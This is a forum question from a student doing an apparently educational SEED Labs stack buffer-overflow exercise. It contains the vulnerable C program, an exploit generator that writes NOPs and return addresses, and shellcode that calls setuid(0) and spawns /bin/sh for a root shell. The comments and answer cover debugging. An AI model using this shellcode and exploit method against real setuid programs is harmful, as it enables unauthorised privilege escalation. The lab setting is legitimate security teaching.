2

I'm trying to exploit simple stack overflow vulnerability. But I have trouble writing the exploit.c file. After getting the stack pointer using __asm__("movl %esp, %eax"), I put the address and shellcode in the buffer.

This is stack.c file:

int bof(char *str)

char buffer[24];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;

int main(int argc, char **argv)

char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;

Below is my current exploit.c file. I have two VM with the same setup using SEED Ubuntu. I run the same file on both machines. The first give me regular shell, another one returns "seg fault". But the root shell is what I want.

char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */ 
char *ptr = buffer;
long *addr_ptr, addr;
int offset = 0x80;
int i;

addr = get_sp_addr() + offset;
addr_ptr = (long*)(ptr);

//printf("addr: %x\n", addr);

for (i = 0; i < 10; i++) {
  *(addr_ptr++) = addr;
}

for (i = 0; i < strlen(shellcode); i++) {
  buffer[517 - (sizeof(shellcode) + 1) + i] = shellcode[i];  
} 

// Null terminate the shellcode 
buffer[sizeof(buffer)-1] = '\0';

// printf("%s\n", buffer);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);

Shellcode defined in the exploit.c file is:

char shellcode[]=
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
"\x31\xc0"             /* xorl    %eax,%eax              */
"\x50"                 /* pushl   %eax                   */
"\x68""//sh"           /* pushl   $0x68732f2f            */
"\x68""/bin"           /* pushl   $0x6e69622f            */
"\x89\xe3"             /* movl    %esp,%ebx              */
"\x50"                 /* pushl   %eax                   */
"\x53"                 /* pushl   %ebx                   */
"\x89\xe1"             /* movl    %esp,%ecx              */
"\x99"                 /* cdq                            */
"\xb0\x0b"             /* movb    $0x0b,%al              */
"\xcd\x80"             /* int     $0x80                  */
;
8
  • 9
    Please don't post text as images. Instead, copy and paste the text itself into your post, and use code blocks (begin each line with four spaces; use the {} editor toolbar button) to have it formatted as code rather than prose.
    – user
    Oct 21, 2018 at 11:36
  • Segmentation faults occur when you try to access memory which doesn't belong to your program. Can you send the whole code? Oct 21, 2018 at 15:45
  • @K.Doe.x You are really using "%eap" instead of "%esp" or it is just a typo?
    – slayer
    Oct 22, 2018 at 11:53
  • As addition to the above advises. How did you compile your c-files, and how you executed your exploit, which command ? Maybe there is a problem with the Symbols not loaded in the gdb debugger. E.g. add to your command the "-g" option, > gcc -g -o yourFile yourFile.c
    – user110708
    Oct 22, 2018 at 15:10
  • When you replace the image with the text of your source, can you show the definition of buffer (and, probably, shellcode)? Also, how you trigger the overflow, and what makes you think what you've shown in gdb is actually buffer?
    – TripeHound
    Oct 22, 2018 at 15:29

1 Answer 1

-1

I got it. Reset the machine and rewrote the code (find the address through gdb instead). It works now. Thanks everyone.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .